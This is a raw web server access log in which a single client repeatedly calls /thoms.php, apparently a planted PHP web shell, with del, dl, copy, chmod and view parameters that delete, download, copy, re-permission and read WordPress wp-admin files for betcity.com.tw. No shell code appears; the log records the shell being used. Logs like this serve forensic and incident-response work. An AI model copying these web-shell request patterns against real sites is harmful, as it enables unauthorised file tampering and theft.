45.135.193.11 - - [11/Sep/2026:23:34:28 -0400] "GET /thoms.php?del=post.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28739 "http://163.245.207.76:443/thoms.php?del=post.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:28 -0400] "GET /thoms.php?dl=site-health.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28738 "http://163.245.207.76:443/thoms.php?dl=site-health.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:28 -0400] "GET /thoms.php?dl=admin-post.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28738 "http://163.245.207.76:443/thoms.php?dl=admin-post.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:28 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-admin%2Ffreedoms.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11469 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-admin%2Ffreedoms.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:28 -0400] "GET /thoms.php?chmod=my-sites.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11520 "http://163.245.207.76:443/thoms.php?chmod=my-sites.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:28 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-admin%2Findex.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11465 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-admin%2Findex.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:28 -0400] "GET /thoms.php?chmod=includes&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11501 "http://163.245.207.76:443/thoms.php?chmod=includes&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:28 -0400] "GET /thoms.php?dl=options-connectors.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28770 "http://163.245.207.76:443/thoms.php?dl=options-connectors.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:28 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-admin&view=admin-header.php HTTP/1.1" 200 15270 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-admin&view=admin-header.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:28 -0400] "GET /thoms.php?chmod=link.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11516 "http://163.245.207.76:443/thoms.php?chmod=link.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:28 -0400] "GET /thoms.php?chmod=media.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11504 "http://163.245.207.76:443/thoms.php?chmod=media.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:29 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fms-themes.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11467 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fms-themes.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:29 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fcomment.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11465 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fcomment.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:28 -0400] "GET /thoms.php?dl=ms-delete-site.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28738 "http://163.245.207.76:443/thoms.php?dl=ms-delete-site.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:29 -0400] "GET /thoms.php?dl=options-permalink.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28738 "http://163.245.207.76:443/thoms.php?dl=options-permalink.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:29 -0400] "GET /betcity.com.tw/wp-admin/load-styles.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:29 -0400] "GET /thoms.php?chmod=custom-header.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11507 "http://163.245.207.76:443/thoms.php?chmod=custom-header.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:29 -0400] "GET /betcity.com.tw/wp-admin/customize.php HTTP/1.1" 403 1171 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:29 -0400] "GET /betcity.com.tw/wp-admin/upgrade-functions.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:29 -0400] "GET /betcity.com.tw/wp-admin/js/ HTTP/1.1" 200 3699 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:29 -0400] "GET /thoms.php?chmod=privacy-policy-guide.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11529 "http://163.245.207.76:443/thoms.php?chmod=privacy-policy-guide.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:29 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-admin&view=network.php HTTP/1.1" 200 14283 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-admin&view=network.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:29 -0400] "GET /thoms.php?chmod=authorize-application.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11509 "http://163.245.207.76:443/thoms.php?chmod=authorize-application.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:29 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fedit.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11464 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fedit.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:29 -0400] "GET /thoms.php?chmod=user-edit.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11520 "http://163.245.207.76:443/thoms.php?chmod=user-edit.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:29 -0400] "GET /thoms.php?dl=my-sites.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28902 "http://163.245.207.76:443/thoms.php?dl=my-sites.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:29 -0400] "GET /thoms.php?del=term.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28891 "http://163.245.207.76:443/thoms.php?del=term.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:29 -0400] "GET /thoms.php?chmod=users.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11470 "http://163.245.207.76:443/thoms.php?chmod=users.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:30 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-admin%2Foptions.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11453 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-admin%2Foptions.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:30 -0400] "GET /thoms.php?chmod=images&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11499 "http://163.245.207.76:443/thoms.php?chmod=images&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:30 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-admin&view=credits.php HTTP/1.1" 200 13347 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-admin&view=credits.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:30 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-admin&view=edit-comments.php HTTP/1.1" 200 16613 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-admin&view=edit-comments.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:30 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-admin&view=link.php HTTP/1.1" 200 13082 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-admin&view=link.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:30 -0400] "GET /thoms.php?dl=export.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28905 "http://163.245.207.76:443/thoms.php?dl=export.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:30 -0400] "GET /betcity.com.tw/wp-admin/post.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:30 -0400] "GET /thoms.php?del=menu-header.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28902 "http://163.245.207.76:443/thoms.php?del=menu-header.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:30 -0400] "GET /thoms.php?chmod=plugin-install.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11524 "http://163.245.207.76:443/thoms.php?chmod=plugin-install.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:30 -0400] "GET /thoms.php?del=moderation.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28901 "http://163.245.207.76:443/thoms.php?del=moderation.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:31 -0400] "GET /betcity.com.tw/wp-admin/site-health-info.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:30 -0400] "GET /thoms.php?dl=ms-edit.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28902 "http://163.245.207.76:443/thoms.php?dl=ms-edit.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:30 -0400] "GET /thoms.php?del=options-privacy.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28901 "http://163.245.207.76:443/thoms.php?del=options-privacy.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:31 -0400] "GET /thoms.php?dl=privacy-policy-guide.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28901 "http://163.245.207.76:443/thoms.php?dl=privacy-policy-guide.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:31 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-admin%2Ftools.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11466 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-admin%2Ftools.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:31 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fupgrade.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11456 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fupgrade.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:31 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fimages&p= HTTP/1.1" 200 12338 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fimages&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:31 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-admin&view=edit-tags.php HTTP/1.1" 200 19176 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-admin&view=edit-tags.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:31 -0400] "GET /thoms.php?chmod=plugin-editor.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11509 "http://163.245.207.76:443/thoms.php?chmod=plugin-editor.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:31 -0400] "GET /betcity.com.tw/wp-admin/images/ HTTP/1.1" 200 3232 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:31 -0400] "GET /betcity.com.tw/wp-admin/load-scripts.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:31 -0400] "GET /thoms.php?del=post-new.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28899 "http://163.245.207.76:443/thoms.php?del=post-new.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:31 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-admin%2Ferase-personal-data.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11476 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-admin%2Ferase-personal-data.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:31 -0400] "GET /thoms.php?chmod=options-writing.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11520 "http://163.245.207.76:443/thoms.php?chmod=options-writing.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:31 -0400] "GET /thoms.php?dl=install.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28902 "http://163.245.207.76:443/thoms.php?dl=install.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:32 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fms-admin.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11468 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fms-admin.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:32 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fupgrade-functions.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11476 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fupgrade-functions.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:32 -0400] "GET /betcity.com.tw/wp-admin/freedoms.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:32 -0400] "GET /thoms.php?dl=load-scripts.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28901 "http://163.245.207.76:443/thoms.php?dl=load-scripts.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:32 -0400] "GET /thoms.php?chmod=menu.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11518 "http://163.245.207.76:443/thoms.php?chmod=menu.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:32 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-admin%2Frevision.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11468 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-admin%2Frevision.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:32 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-admin&view=site-health.php HTTP/1.1" 200 16036 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-admin&view=site-health.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:32 -0400] "GET /thoms.php?chmod=index.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11503 "http://163.245.207.76:443/thoms.php?chmod=index.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:32 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-admin&view=authorize-application.php HTTP/1.1" 200 15633 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-admin&view=authorize-application.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:32 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-admin%2Fimages HTTP/1.1" 200 27166 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-admin%2Fimages" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:32 -0400] "GET /betcity.com.tw/wp-admin/includes/ HTTP/1.1" 200 4204 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:32 -0400] "GET /thoms.php?chmod=menu-header.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11520 "http://163.245.207.76:443/thoms.php?chmod=menu-header.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:32 -0400] "GET /thoms.php?del=edit-form-blocks.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28901 "http://163.245.207.76:443/thoms.php?del=edit-form-blocks.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:33 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-admin%2Fuser HTTP/1.1" 200 14184 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-admin%2Fuser" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:33 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-admin%2Foptions-privacy.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11461 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-admin%2Foptions-privacy.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:33 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-admin&view=user-edit.php HTTP/1.1" 200 24943 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-admin&view=user-edit.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:33 -0400] "GET /thoms.php?chmod=widgets-form-blocks.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11525 "http://163.245.207.76:443/thoms.php?chmod=widgets-form-blocks.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:33 -0400] "GET /betcity.com.tw/wp-admin/widgets.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:33 -0400] "GET /betcity.com.tw/wp-admin/font-library.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:33 -0400] "GET /betcity.com.tw/wp-admin/link.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
